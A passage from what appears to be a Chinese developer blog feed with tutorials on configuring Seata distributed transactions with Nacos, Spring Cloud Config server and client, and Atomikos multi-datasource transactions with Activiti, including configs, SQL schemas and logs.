      和springCloudAlibaba版本支持说明:

      https://github.com/alibaba/spring-cloud-alibaba/wiki/%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E

      添加seata依赖(建议单选)

      • 依赖seata-all
      • 依赖seata-spring-boot-starter,支持yml、properties配置(.conf可删除),内部已依赖seata-all
      • 依赖spring-cloud-alibaba-seata,内部集成了seata,并实现了xid传递

      因为是微服务方式,故添加依赖:

      • spring-cloud-starter-alibaba-seata推荐依赖配置方式
                  <dependency>
                      <groupId>io.seata</groupId>
                      <artifactId>seata-spring-boot-starter</artifactId>
                      <version>最新版</version>
                  </dependency>
                  <dependency>
                      <groupId>com.alibaba.cloud</groupId>
                      <artifactId>spring-cloud-starter-alibaba-seata</artifactId>
                      <version>2.2.1.RELEASE</version>
                      <exclusions>
                          <exclusion>
                              <groupId>io.seata</groupId>
                              <artifactId>seata-spring-boot-starter</artifactId>
                          </exclusion>
                      </exclusions>
                  </dependency>

      文件配置

      修改registry.type、config.type

      文件在下载的seata包下

      启动包: seata-->conf-->file.conf,修改store.mode="db或者redis"
      源码: 根目录-->seata-server-->resources-->file.conf,修改store.mode="db或者redis"

      启动包: seata-->conf-->file.conf,修改store.db或store.redis相关属性。
      源码: 根目录-->seata-server-->resources-->file.conf,修改store.db或store.redis相关属性。

      registry.conf

      registry {
        # file 、nacos 、eureka、redis、zk、consul、etcd3、sofa
        type = "file"
      
        nacos {
          application = "seata-server"
          serverAddr = "127.0.0.1:8848"
          group = "SEATA_GROUP"
          namespace = ""
          cluster = "default"
          username = ""
          password = ""
        }
        ...
        config {
        # file、nacos 、apollo、zk、consul、etcd3
        type = "file"
      
        nacos {
          serverAddr = "127.0.0.1:8848"
          namespace = ""
          group = "SEATA_GROUP"
          username = ""
          password = ""
        }
       }

      改成

      registry {
        # file 、nacos 、eureka、redis、zk、consul、etcd3、sofa
        type = "nacos"
      
        nacos {
          application = "seata-server"
          serverAddr = "106.12.11.240:8848"
          namespace = "public"
          cluster = "default"
          username = ""
          password = ""
        }
      ...
        config {
        # file、nacos 、apollo、zk、consul、etcd3
        type = "nacos"
      
        nacos {
          serverAddr = "106.12.11.240:8848"
          namespace = "public"
          group = "SEATA_GROUP"
          username = ""
          password = ""
        }
      }

      store.mode 和 对应的nacos和db连接配置

      file.conf

      注意数据源类型,比如springboot的默认数据源是hikari而不是druid

      store {
        ## store mode: file、db、redis
        mode = "file"
        ...
        db {
          ## the implement of javax.sql.DataSource, such as DruidDataSource(druid)/BasicDataSource(dbcp)/HikariDataSource(hikari) etc.
          datasource = "druid"
          ## mysql/oracle/postgresql/h2/oceanbase etc.
          dbType = "mysql"
          driverClassName = "com.mysql.jdbc.Driver"
          url = "jdbc:mysql://127.0.0.1:3306/seata"
          user = "mysql"
          password = "mysql"
        }
       ...
      }

      修改为:

      store {
        ## store mode: file、db、redis
        mode = "db"
        
        ...
      
        ## database store property
        db {
          ## the implement of javax.sql.DataSource, such as DruidDataSource(druid)/BasicDataSource(dbcp)/HikariDataSource(hikari) etc.
          datasource = "druid"
          ## mysql/oracle/postgresql/h2/oceanbase etc.
          dbType = "mysql"
          driverClassName = "com.mysql.jdbc.Driver"
          url = "jdbc:mysql://127.0.0.1:3306/seata"
          user = "root"
          password = "123456"
        }
        ...
      }

      配置nacos-config.txt

      文件地址:https://github.com/seata/seata/blob/1.3.0/script/config-center/config.txt

      官网seata-server-0.9.0的conf目录下有该文件,官网seata-server-0.9.0的conf目录下有该文件,后面的版本无该文件需要手动下载执行。

      修改为自己的服务组名,各个微服务之间使用相同的服务组名,务必保持一致!

      service.vgroupMapping.my_test_tx_group=default
      service.vgroupMapping.my_test_tx_group1=default
      service.vgroupMapping.my_test_tx_group2=default
      service.vgroupMapping.my_test_tx_group3=default

      配置seata服务器mysql链接信息,注意数据源类型,比如springboot的默认数据源是hikari而不是druid

      store.mode=db
      ...
      store.db.datasource=druid
      store.db.dbType=mysql
      store.db.url=jdbc:mysql://127.0.0.1:3306/seata?useUnicode=true
      store.db.user=root
      store.db.password=123456

      执行nacos-config.sh脚本

      脚本地址:https://github.com/seata/seata/blob/1.3.0/script/config-center/nacos/nacos-config.sh

      官网seata-server-0.9.0的conf目录下有该文件,后面的版本无该文件需要手动下载执行。

      如果本地是windows,使用git工具git bash执行nacos-config.sh脚本:

      sh nacos-config.sh -h localhost -p 8848 -g SEATA_GROUP -u nacos -w nacos

      执行完成后nacos会新增seata配置。

      需要注意config.txt中目录的对应关系,否则可能提示finished,其实未执行成功!

      $ sh nacos-config.sh -h 106.12.11.240 -p 8848
      set nacosAddr=106.12.11.240:8848
      set group=SEATA_GROUP
      cat: /d/soft/config.txt: No such file or directory
      =========================================================================
       Complete initialization parameters,  total-count:0 ,  failure-count:0
      =========================================================================
       Init nacos config finished, please start seata-server.

      Seata Server需要依赖的表

      表的地址:https://github.com/seata/seata/blob/develop/script/server/db/mysql.sql

      新建数据库seata, 创建如下三个表,用于seata服务, 0.0.9版本才有这个文件1.0.0版本后需要手动添加。

      -- the table to store GlobalSession data
      DROP TABLE IF EXISTS `global_table`;
      CREATE TABLE `global_table` (
        `xid` VARCHAR(128)  NOT NULL,
        `transaction_id` BIGINT,
        `status` TINYINT NOT NULL,
        `application_id` VARCHAR(32),
        `transaction_service_group` VARCHAR(32),
        `transaction_name` VARCHAR(128),
        `timeout` INT,
        `begin_time` BIGINT,
        `application_data` VARCHAR(2000),
        `gmt_create` DATETIME,
        `gmt_modified` DATETIME,
        PRIMARY KEY (`xid`),
        KEY `idx_gmt_modified_status` (`gmt_modified`, `status`),
        KEY `idx_transaction_id` (`transaction_id`)
      );
      
      -- the table to store BranchSession data
      DROP TABLE IF EXISTS `branch_table`;
      CREATE TABLE `branch_table` (
        `branch_id` BIGINT NOT NULL,
        `xid` VARCHAR(128) NOT NULL,
        `transaction_id` BIGINT ,
        `resource_group_id` VARCHAR(32),
        `resource_id` VARCHAR(256) ,
        `lock_key` VARCHAR(128) ,
        `branch_type` VARCHAR(8) ,
        `status` TINYINT,
        `client_id` VARCHAR(64),
        `application_data` VARCHAR(2000),
        `gmt_create` DATETIME,
        `gmt_modified` DATETIME,
        PRIMARY KEY (`branch_id`),
        KEY `idx_xid` (`xid`)
      );
      
      -- the table to store lock data
      DROP TABLE IF EXISTS `lock_table`;
      CREATE TABLE `lock_table` (
        `row_key` VARCHAR(128) NOT NULL,
        `xid` VARCHAR(96),
        `transaction_id` LONG ,
        `branch_id` LONG,
        `resource_id` VARCHAR(256) ,
        `table_name` VARCHAR(32) ,
        `pk` VARCHAR(36) ,
        `gmt_create` DATETIME ,
        `gmt_modified` DATETIME,
        PRIMARY KEY(`row_key`)
      );
      

      AT模式下每个业务数据库需要创建undo_log表,用于seata记录分支的回滚信息

      表的地址:https://github.com/seata/seata/blob/1.3.0/script/client/at/db/mysql.sql

      -- 注意此处0.3.0+ 增加唯一索引 ux_undo_log
      CREATE TABLE `undo_log` (
        `id` bigint(20) NOT NULL AUTO_INCREMENT,
        `branch_id` bigint(20) NOT NULL,
        `xid` varchar(100) NOT NULL,
        `context` varchar(128) NOT NULL,
        `rollback_info` longblob NOT NULL,
        `log_status` int(11) NOT NULL,
        `log_created` datetime NOT NULL,
        `log_modified` datetime NOT NULL,
        `ext` varchar(100) DEFAULT NULL,
        PRIMARY KEY (`id`),
        UNIQUE KEY `ux_undo_log` (`xid`,`branch_id`)
      ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

      运行 Seata-server

      Linux/Unix/Mac

      sh seata-server.sh -p $LISTEN_PORT -m $STORE_MODE -h $IP(此参数可选)

      Windows

      cmd seata-server.bat -p $LISTEN_PORT -m $STORE_MODE -h $IP(此参数可选)

      $LISTEN_PORT: Seata-Server 服务端口
      $STORE_MODE: 事务操作记录存储模式:file、db
      $IP(可选参数): 用于多 IP 环境下指定 Seata-Server 注册服务的IP,配置自己的ip即可

      测试的时候 直接双击运行seata-server.bat 即可。

      # linux
      nohup ./seata-server.sh -h 192.168.1.4 -p 8092 &
      # windows cmd
      seata-server.bat -m file -h 192.168.1.4 -p 8092 

      用例

      参考官网中用户购买商品的业务逻辑。整个业务逻辑由3个微服务提供支持:

      • 存储服务:扣除给定商品的存储数量。
      • 订单服务:根据购买请求创建订单。
      • 帐户服务:借记用户帐户的余额。

      项目地址:

      https://github.com/longxiaonan/springcloud-demo

      添加依赖:

      <!-- 分布式事务seata包 -->
              <dependency>
                  <groupId>com.alibaba.cloud</groupId>
                  <artifactId>spring-cloud-starter-alibaba-seata</artifactId>
                  <version>2.2.1.RELEASE</version>
                  <exclusions>
                      <exclusion>
                          <groupId>io.seata</groupId>
                          <artifactId>seata-all</artifactId>
                      </exclusion>
                      <exclusion>
                          <groupId>io.seata</groupId>
                          <artifactId>seata-spring-boot-starter</artifactId>
                      </exclusion>
                  </exclusions>
              </dependency>
              <dependency>
                  <groupId>io.seata</groupId>
                  <artifactId>seata-spring-boot-starter</artifactId>
                  <version>1.3.0</version>
              </dependency>

      配置seata:

      seata:
        enabled: true
        application-id: ${spring.application.name}
        txServiceGroup: my_test_tx_group
        # 是否开启数据源自动代理 如果不开启设置为false
        enable-auto-data-source-proxy: true
        registry:
          type: nacos
          nacos:
            application: seata-server
            server-addr: 106.12.11.240:8848
            namespace:
        #      userName: "nacos"
        #      password: "nacos"
        config:
          type: nacos
          nacos:
            namespace:
            serverAddr: 106.12.11.240:8848
            group: SEATA_GROUP
      #      userName: "nacos"
      #      password: "nacos"

      在代码中通过注解开启:

      @GlobalTransactional(rollbackFor = Exception.class)

      请求逻辑

      image.png

      commint测试接口:http://127.0.0.1:8008/purchase/commit接口是可以正常执行完成的方法

      rollback测试接口:http://127.0.0.1:8008/purchase/rollback接口是会发生异常并正常回滚的方法

      测试

      当未开启seata服务rollback测试:

      未开启seata服务,启动业务服务节点, 业务节点的console log如下提示:

      2020-07-25 10:59:50.492 ERROR 11284 --- [eoutChecker_1_1] i.s.c.r.netty.NettyClientChannelManager : no available service 'default' found, please make sure registry config correct
      2020-07-25 10:59:50.654 ERROR 11284 --- [eoutChecker_2_1] i.s.c.r.netty.NettyClientChannelManager : no available service 'default' found, please make sure registry config correct

      此时,访问rollback测试接口,controller不能进入加了@GlobalTransitional的service,无任何服务被执行和调用。console log如下报错:

      io.seata.common.exception.FrameworkException: No available service
           at io.seata.core.rpc.netty.AbstractNettyRemotingClient.loadBalance(AbstractNettyRemotingClient.java:257)
           at io.seata.core.rpc.netty.AbstractNettyRemotingClient.sendSyncRequest(AbstractNettyRemotingClient.java:133)
           at io.seata.tm.DefaultTransactionManager.syncCall(DefaultTransactionManager.java:95)
           at io.seata.tm.DefaultTransactionManager.begin(DefaultTransactionManager.java:53)
           at io.seata.tm.api.DefaultGlobalTransaction.begin(DefaultGlobalTransaction.java:104)
           at io.seata.tm.api.TransactionalTemplate.beginTransaction(TransactionalTemplate.java:175)

      开启seata服务rollback测试

      双击 `` 启动seata服务

      业务服务console提示如下log,说明注册成功

      2020-07-25 11:08:31.599  INFO 11284 --- [eoutChecker_1_1] i.s.c.rpc.netty.TmNettyRemotingClient    : register TM success. client version:1.3.0, server version:1.3.0,channel:[id: 0xdd694462, L:/169.254.249.134:3959 - R:/169.254.249.134:8091]
      2020-07-25 11:08:31.618  INFO 11284 --- [eoutChecker_2_1] i.s.c.rpc.netty.RmNettyRemotingClient    : register RM success. client version:1.3.0, server version:1.3.0,channel:[id: 0x5ece5f24, L:/169.254.249.134:3960 - R:/169.254.249.134:8091]
      2020-07-25 11:08:31.624  INFO 11284 --- [eoutChecker_2_1] i.s.core.rpc.netty.NettyPoolableFactory  : register success, cost 264 ms, version:1.3.0,role:RMROLE,channel:[id: 0x5ece5f24, L:/169.254.249.134:3960 - R:/169.254.249.134:8091]
      2020-07-25 11:08:31.624  INFO 11284 --- [eoutChecker_1_1] i.s.core.rpc.netty.NettyPoolableFactory  : register success, cost 263 ms, version:1.3.0,role:TMROLE,channel:[id: 0xdd694462, L:/169.254.249.134:3959 - R:/169.254.249.134:8091]
      

      rollback接口在执行到account服务的时候会抛异常:

      java.lang.RuntimeException: account branch exception
          at com.javasea.account.service.AccountService.debit(AccountService.java:34) ~[classes/:na]
          at com.javasea.account.service.AccountService$$FastClassBySpringCGLIB$$e3edd550.invoke(<generated>) ~[classes/:na]
          at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218) ~[spring-core-5.2.5.RELEASE.jar:5.2.5.RELEASE]

      order服务作为account服务的调用方,会知道account服务发生了异常:

      feign.FeignException$InternalServerError: [500] during [GET] to [http://account-service/debit/1002/10] [AccountFeignClient#debit(String,Integer)]: [{"timestamp":"2020-07-25T03:36:18.494+0000","status":500,"error":"Internal Server Error","message":"account branch exception","path":"/debit/1002/10"}]
          at feign.FeignException.serverErrorStatus(FeignException.java:231) ~[feign-core-10.7.4.jar:na]
          at feign.FeignException.errorStatus(FeignException.java:180) ~[feign-core-10.7.4.jar:na]
          at feign.FeignException.errorStatus(FeignException.java:169) ~[feign-core-10.7.4.jar:na]
          at feign.codec.ErrorDecoder$Default.decode(ErrorDecoder.java:92) ~[feign-core-10.7.4.jar:na]
          at feign.SynchronousMethodHandler.executeAndDecode(SynchronousMethodHandler.java:156) ~[feign-core-10.7.4.jar:na]
          at feign.SynchronousMethodHandler.invoke(SynchronousMethodHandler.java:80) ~[feign-core-10.7.4.jar:na]
          at feign.ReflectiveFeign$FeignInvocationHandler.invoke(ReflectiveFeign.java:100) ~[feign-core-10.7.4.jar:na]
          at com.sun.proxy.$Proxy89.debit(Unknown Source) ~[na:na]
          at com.javasea.order.service.OrderService.create(OrderService.java:38) ~[classes/:na]

      business服务log如下:

      2020-07-25 11:36:18.288  INFO 11284 --- [nio-8008-exec-4] i.seata.tm.api.DefaultGlobalTransaction  : Begin new global transaction [169.254.249.134:8091:30253423644925952]
      2020-07-25 11:36:18.289  INFO 11284 --- [nio-8008-exec-4] c.j.business.service.BusinessService     : 开始全局事务,XID = 169.254.249.134:8091:30253423644925952
      2020-07-25 11:36:18.627  INFO 11284 --- [nio-8008-exec-4] i.seata.tm.api.DefaultGlobalTransaction  : [169.254.249.134:8091:30253423644925952] rollback status: Rollbacked
      feign.FeignException$InternalServerError: [500] during [GET] to [http://order-service/order/1002/2001/1] [OrderFeignClient#create(String,String,Integer)]: [{"timestamp":"2020-07-25T03:36:18.530+0000","status":500,"error":"Internal Server Error","message":"[500] during [GET] to [http://account-service/debit/1002/10] [AccountFeignClient#debit(String,Intege... (405 bytes)]
          at feign.FeignException.serverErrorStatus(FeignException.java:231)
          at feign.FeignException.errorStatus(FeignException.java:180)
          at feign.FeignException.errorStatus(FeignException.java:169)

      storage服务的扣减库存已经提交,因为全局事务没成功,故触发回滚:

      2020-07-25 11:36:18.303  INFO 5924 --- [io-8010-exec-10] c.j.storage.service.StorageService       : 开始分支事务,XID = 169.254.249.134:8091:30253423644925952
      2020-07-25 11:36:18.400  WARN 5924 --- [io-8010-exec-10] c.a.c.seata.web.SeataHandlerInterceptor  : xid in change during RPC from 169.254.249.134:8091:30253423644925952 to null
      2020-07-25 11:36:18.543  INFO 5924 --- [ch_RMROLE_1_7_8] i.s.c.r.p.c.RmBranchRollbackProcessor    : rm handle branch rollback process:xid=169.254.249.134:8091:30253423644925952,branchId=30253423821086720,branchType=AT,resourceId=jdbc:mysql://localhost:3306/seata_storage,applicationData=null
      2020-07-25 11:36:18.544  INFO 5924 --- [ch_RMROLE_1_7_8] io.seata.rm.AbstractRMHandler            : Branch Rollbacking: 169.254.249.134:8091:30253423644925952 30253423821086720 jdbc:mysql://localhost:3306/seata_storage
      2020-07-25 11:36:18.618  INFO 5924 --- [ch_RMROLE_1_7_8] i.s.r.d.undo.AbstractUndoLogManager      : xid 169.254.249.134:8091:30253423644925952 branch 30253423821086720, undo_log deleted with GlobalFinished
      2020-07-25 11:36:18.619  INFO 5924 --- [ch_RMROLE_1_7_8] io.seata.rm.AbstractRMHandler            : Branch Rollbacked result: PhaseTwo_Rollbacked

      遇到的问题:

      console一直提示如下error log:

      00:46:38.070 ERROR 10652 --- [imeoutChecker_2] i.s.c.r.n.NettyClientChannelManager - no available service 'default' found, please make sure registry config correct
      00:46:47.729 ERROR 10652 --- [imeoutChecker_1] i.s.c.r.n.NettyClientChannelManager - no available service 'default' found, please make sure registry config correct

      一直百事不得其解。后面突然发现会不会是jar包问题。

      查看在父项目的pom配置:

      <!-- 分布式事务seata包 -->
              <dependency>
                  <groupId>com.alibaba.cloud</groupId>
                  <artifactId>spring-cloud-starter-alibaba-seata</artifactId>
                  <version>2.2.1.RELEASE</version>
                  <exclusions>
                      <exclusion>
                          <groupId>io.seata</groupId>
                          <artifactId>seata-all</artifactId>
                      </exclusion>
                      <exclusion>
                          <groupId>io.seata</groupId>
                          <artifactId>seata-spring-boot-starter</artifactId>
                      </exclusion>
                  </exclusions>
              </dependency>
              <dependency>
                  <groupId>io.seata</groupId>
                  <artifactId>seata-spring-boot-starter</artifactId>
                  <version>1.3.0</version>
              </dependency>

      到本项目分析pom.xml的依赖关系,发现jia包竟然是1.1.0的,在父项目不是引入的1.3.0吗?

      image.png

      去文档中查找发现1.1.0是默认 spring-cloud-starter-alibaba-seata 2.2.1.RELEASE 内嵌的,也就是pom依赖关系基础问题。

      image.png

      先不管pom依赖的继承问题。将pom依赖分别添加到子项目即可。

      然后重启,RM注册成功:

      00:49:17.541 INFO  13260 --- [eoutChecker_1_1] i.s.c.rpc.netty.NettyPoolableFactory - NettyPool create channel to transactionRole:TMROLE,address:169.254.249.134:8091,msg:< RegisterTMRequest{applicationId='lmwy-flow-longxiaonan', transactionServiceGroup='my_test_tx_group'} >
      00:49:17.557 INFO  13260 --- [eoutChecker_1_1] i.s.c.r.netty.TmNettyRemotingClient - register TM success. client version:1.3.0, server version:1.3.0,channel:[id: 0x1d35034a, L:/169.254.249.134:9977 - R:/169.254.249.134:8091]
      00:49:17.557 INFO  13260 --- [eoutChecker_1_1] i.s.c.rpc.netty.NettyPoolableFactory - register success, cost 8 ms, version:1.3.0,role:TMROLE,channel:[id: 0x1d35034a, L:/169.254.249.134:9977 - R:/169.254.249.134:8091]
      00:49:32.077 INFO  13260 --- [.12.11.240_8848] c.a.n.c.config.impl.ClientWorker - get changedGroupKeys:[]
      00:49:38.880 INFO  13260 --- [.12.11.240_8848] c.a.n.c.config.impl.ClientWorker - get changedGroupKeys:[]
      00:50:01.684 INFO  13260 --- [.12.11.240_8848] c.a.n.c.config.impl.ClientWorker - get changedGroupKeys:[]

      本文项目地址:https://github.com/longxiaonan/springcloud-demo

      参考:

      http://seata.io/zh-cn/docs/ops/deploy-guide-beginner.html

      https://sourcegraph.com/github.com/seata/seata-samples@master/-/blob/springcloud-nacos-seata/README.md

      ]]>
      学习 | Spring Cloud Config 从入门到精通 Fri, 02 May 2025 09:39:04 +0800 小小又开始学习了,这次学习的内容是Spring Cloud 相关内容,这次学习的是Config相关的内容。
      通过git完成分布式的配置文件的部署,达到更新git,就可以更新配置信息的功能、

      Server端

      添加相关maven

      这里配置Server端
      添加相关的依赖

       <dependency>
                  <groupId>org.springframework.cloud</groupId>
                  <artifactId>spring-cloud-config-server</artifactId>
              </dependency>

      更新相关配置文件

      server:
        port: 8080
      spring:
        application:
          name: spring-cloud-config-server
        cloud:
          config:
            server:
              git:
                uri: https://github.com/meteor1993/SpringCloudLearning # git仓库的地址
                search-paths: chapter6/springcloud-config  # git仓库地址下的相对地址,可以配置多个,用,分割。
                username: #Git仓库用户名
                password: #Git仓库密码

      其中,uri表明git的配置地址,search-paths表明git相关的配置路径,这里使用git作为分布式的配置文件的存储

      其配置文件的路径为

      SpringCloudLearning/chapter6/springcloud-config/springcloud-config-pro.properties
      访问地址为 https://github.com/meteor1993/SpringCloudLearning/blob/master/chapter6/springcloud-config/springcloud-config-pro.properties

      添加启动类相关的注解

      这里添加EnableConfigServer类相关的注解,

      用于激活Spring Cloud 对配置中心的相关激活

      package com.example.demo;
      
      import org.springframework.boot.SpringApplication;
      import org.springframework.boot.autoconfigure.SpringBootApplication;
      import org.springframework.cloud.config.server.EnableConfigServer;
      
      @SpringBootApplication
      @EnableConfigServer
      public class DemoApplication {
      
          public static void main(String[] args) {
              SpringApplication.run(DemoApplication.class, args);
          }
      
      }
      

      这个时候访问 http://localhost:8080/springcloud-config/pro 就可以实现对配置文件信息的访问
      其中springcloud-config为配置中心的文件名称。pro为对应的相关的配置文件。
      这里对应的相关的配置文件,命名有

      springcloud-config-dev.properties  对应于dev开发模式
      springcloud-config-pro.properties  对应于pro开发模式
      springcloud-config-test.properties  对应于test开发模式

      其访问的pro更改为相关的配置类型即可

      访问效果

      访问连接 http://localhost:8080/springcloud-config/pro 即可看到相关的配置信息

      用户端

      前面服务端已经访问完成,这里访问客户端

      新建子项目

      添加相关的maven

      <!-- https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-starter-config -->
      <dependency>
          <groupId>org.springframework.cloud</groupId>
          <artifactId>spring-cloud-starter-config</artifactId>
          <version>2.2.3.RELEASE</version>
      </dependency>

      添加配置文件

      这里配置文件分为两个配置文件,分别为application.yml 和 bootstrap.yml 这两个配置文件

      application.yml

      这里配置application.yml 配置文件

      server:
        port: 8081
      spring:
        application:
          name: spring-cloud-config-client

      再次配置bootstrap.yml 文件

      spring:
        cloud:
          config:
            name: springcloud-config
            profile: dev
            uri: http://localhost:8080/
            label: master
      

      这样就完成了一次的配置文件书写。
      其中name为配置git的name,profile对应于版本。url对应于server的信息,label对应于相关的分支。

      添加启动类

      package com.springcloud.configclient;
      
      import org.springframework.boot.SpringApplication;
      import org.springframework.boot.autoconfigure.SpringBootApplication;
      
      @SpringBootApplication
      public class ConfigClientApplication {
      
          public static void main(String[] args) {
              SpringApplication.run(ConfigClientApplication.class, args);
          }
      
      }
      

      添加配置信息读取类

      添加配置信息的读取类

      package com.springcloud.configclient.controller;
      
      import org.springframework.beans.factory.annotation.Value;
      import org.springframework.web.bind.annotation.RequestMapping;
      import org.springframework.web.bind.annotation.RestController;
      
      /**
       * @Author: shiyao.wei
       * @Date: 2019/7/4 16:19
       * @Version: 1.0
       * @Desc:
       */
      @RestController
      public class HelloController {
      
          @Value("${springcloud.hello}")
          private String hello;
      
          @RequestMapping("/hello")
          public String from() {
              return this.hello;
          }
      }
      
      

      这样,就完成了配置信息的统一读取

      ]]>
      atomikos多数据源配置-在工作流(activiti)分库时的事务管理实战 Fri, 02 May 2025 09:39:04 +0800 配置多个数据源

      yml配置两个数据源, act和business:

      datasource:
          act:
            jdbcUrl: jdbc:mysql://localhost:3306/lmwy_product_act?useUnicode=true&characterEncoding=utf8&serverTimezone=Asia/Shanghai
            username: root
            password: 123456
            driverClassName: com.mysql.jdbc.Driver
          business:
            jdbc-url: jdbc:mysql://localhost:3306/lmwy_product?useUnicode=true&characterEncoding=utf8&serverTimezone=Asia/Shanghai
            username: root
            password: 123456
            driver-class-name: com.mysql.jdbc.Driver

      分别对应到两个数据源的配置:

      package com.zhirui.lmwy.flow.config;
      
      import org.activiti.spring.boot.AbstractProcessEngineAutoConfiguration;
      import org.springframework.beans.factory.annotation.Qualifier;
      import org.springframework.boot.context.properties.ConfigurationProperties;
      import org.springframework.boot.jdbc.DataSourceBuilder;
      import org.springframework.context.annotation.Bean;
      import org.springframework.context.annotation.Configuration;
      import org.springframework.context.annotation.Primary;
      
      import javax.sql.DataSource;
      
      
      /**
       *  多数据源配置类
       *      1.activiti数据库连接池
       *          默认, 我们也无法去修改源码故默认
       *      2.工作流业务数据库连接池
       *          明确指定 businessDataSource
       */
      @Configuration
      public class FlowDatasourceConfig extends AbstractProcessEngineAutoConfiguration {
          @Bean
          @Primary
          @ConfigurationProperties(prefix = "spring.datasource.act")
          @Qualifier("activitiDataSource")
          public DataSource activitiDataSource() {
              DataSource build = DataSourceBuilder.create().build();
              return build;
          }
      
          @Bean
          @ConfigurationProperties(prefix = "spring.datasource.business")
          @Qualifier("businessDataSource")
          public DataSource businessDataSource() {
              DataSource build = DataSourceBuilder.create().build();
              return build;
          }
      }
      

      业务的springdata配置和事物管理器配置

      package com.zhirui.lmwy.flow.config;
      
      import org.springframework.beans.factory.annotation.Autowired;
      import org.springframework.beans.factory.annotation.Qualifier;
      import org.springframework.boot.autoconfigure.domain.EntityScan;
      import org.springframework.context.annotation.Bean;
      import org.springframework.context.annotation.Configuration;
      import org.springframework.context.annotation.Primary;
      import org.springframework.core.env.Environment;
      import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
      import org.springframework.orm.jpa.JpaTransactionManager;
      import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;
      import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter;
      import org.springframework.transaction.PlatformTransactionManager;
      
      import javax.sql.DataSource;
      import java.util.HashMap;
      
      /**
       * 需要在配置类的上面加上@EnableJpaRepositories(basePackages={"dao层对应的包路径"}),这样jpa的dao层就注入进来了。结果启动spring boot 时发现,又有 Not a managed type: class ******的错误,经查询发现少了jpa entity路径的配置,在配置类的头部加上标记:@EntityScan("entity对应的包路径")
       */
      @Configuration
      @EnableJpaRepositories(
              basePackages = {"com.zhirui.lmwy.flow.dao"},//代理的dao接口所在的包
              entityManagerFactoryRef = "flowEntityManager",
              transactionManagerRef = "flowTransactionManager"
      )
      public class JpaRepositoriesConfig {
      
          @Autowired
          private Environment env;
      
          @Autowired
          @Qualifier("businessDataSource")
          private DataSource businessDataSource;
      
          /**
           * 创建entityManagerFactory工厂
           */
          @Bean
          @Primary
          public LocalContainerEntityManagerFactoryBean flowEntityManager() {
              LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean();
              em.setDataSource(businessDataSource);
              //配置扫描的实体类包 ,否则报错:No persistence units parsed from {classpath*:META-INF/persistence.xml}
              em.setPackagesToScan(new String[]{"com.zhirui.lmwy.flow.entity"});
              HibernateJpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter();
              em.setJpaVendorAdapter(vendorAdapter);
              HashMap<String, Object> properties = new HashMap<>();
              // application.yaml配置文件的ddl-auto的值
      //      properties.put("hibernate.hbm2ddl.auto", env.getProperty("hibernate.hbm2ddl.auto"));
              properties.put("hibernate.show_sql", "true");
              properties.put("hibernate.format_sql", "true");
              // application.yaml配置文件的database-platform的值
      //      properties.put("hibernate.dialect", "org.hibernate.dialect.MySQLDialect");
              properties.put("hibernate.implicit_naming_strategy", "org.springframework.boot.orm.jpa.hibernate.SpringImplicitNamingStrategy");
              properties.put("hibernate.physical_naming_strategy", "org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy");
              em.setJpaPropertyMap(properties);
              return em;
          }
      
          /**
           * 创建事务管理器
           */
          @Primary
          @Bean
          public PlatformTransactionManager flowTransactionManager() {
              JpaTransactionManager transactionManager = new JpaTransactionManager();
              transactionManager.setEntityManagerFactory(flowEntityManager().getObject());
              return transactionManager;
          }
      }
      

      activiti中使用act数据源

      package com.zhirui.lmwy.flow.config;
      
      import lombok.AllArgsConstructor;
      import org.activiti.spring.SpringProcessEngineConfiguration;
      import org.springframework.beans.factory.annotation.Autowired;
      import org.springframework.beans.factory.annotation.Qualifier;
      import org.springframework.context.annotation.Bean;
      import org.springframework.context.annotation.Configuration;
      import org.springframework.context.annotation.Primary;
      import org.springframework.jdbc.datasource.DataSourceTransactionManager;
      import org.springframework.orm.jpa.JpaTransactionManager;
      import org.springframework.transaction.PlatformTransactionManager;
      
      import javax.sql.DataSource;
      
      /**
       * Activiti 配置
       */
      @Configuration
      @AllArgsConstructor
      public class ActivitiConfig {
      
          private final DataSource dataSource;
      
          @Autowired
          @Qualifier("activitiDataSource")
          private DataSource activitiDataSource;
      
          @Bean
          public SpringProcessEngineConfiguration getProcessEngineConfiguration() {
              SpringProcessEngineConfiguration config =
                      new SpringProcessEngineConfiguration();
              config.setDataSource(activitiDataSource);
              config.setTransactionManager(activitiTransactionManager());
              return config;
          }
      
          @Bean
          public DataSourceTransactionManager activitiTransactionManager() {
              DataSourceTransactionManager transactionManager = new DataSourceTransactionManager();
              transactionManager.setDataSource(activitiDataSource);
              return transactionManager;
          }
      }
      

      事物管理问题

      service方法中只能一个生效,business的事务管理器是"flowTransactionManager",且配置了@Primary组件,所以下面的方法中使用的数据源就是"flowTransactionManager",那么针对数据源act的操作将无法回滚。

      @Override
      @Transactional(rollbackFor = Exception.class)
      public void commit(FlowTaskInstance flowTaskInstance, String tenantId) throws Exception {
          针对数据源act的操作
              针对数据源business的操作
              ...

      可以将@Transactional(rollbackFor = Exception.class) 指定事务管理器名称:

      @Transactional(rollbackFor = Exception.class, transactionManager = "activitiTransactionManager")

      那么方法上使用事物管理器为“activitiTransactionManager”, 但是针对数据源business的操作也将无法回滚。

      我们需要一种分布式事物管理器。

      * 如果是单应用单节点服务的多数据源事务,可以采用下午的 atomikos实现分布式市委 的方案。

      * 如果是微服务架构,那么直接在改基础上整合seata即可!

      atomikos实现分布式事务

      先了解下spring中事务的管理器

      PlatformTransactionManager顶级接口定义了最核心的事务管理方法,下面一层是AbstractPlatformTransactionManager抽象类,实现了PlatformTransactionManager接口的方法并定义了一些抽象方法,供子类拓展。最下面一层是2个经典事务管理器:

      1.DataSourceTransactionmanager: 即本地单资源事务管理器,也是spring默认的事务管理器。

      2.JtaTransactionManager: 即多资源事务管理器(又叫做分布式事务管理器),其实现了JTA规范,使用XA协议进行两阶段提交。

      3. atomikos是JTA规范的具体技术,比较火和流行。

      pom配置

      <!-- 分布式事务管理 参考:https://blog.csdn.net/qq_35387940/article/details/103474353 -->
      <dependency>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-jta-atomikos</artifactId>
      </dependency>
      <dependency>
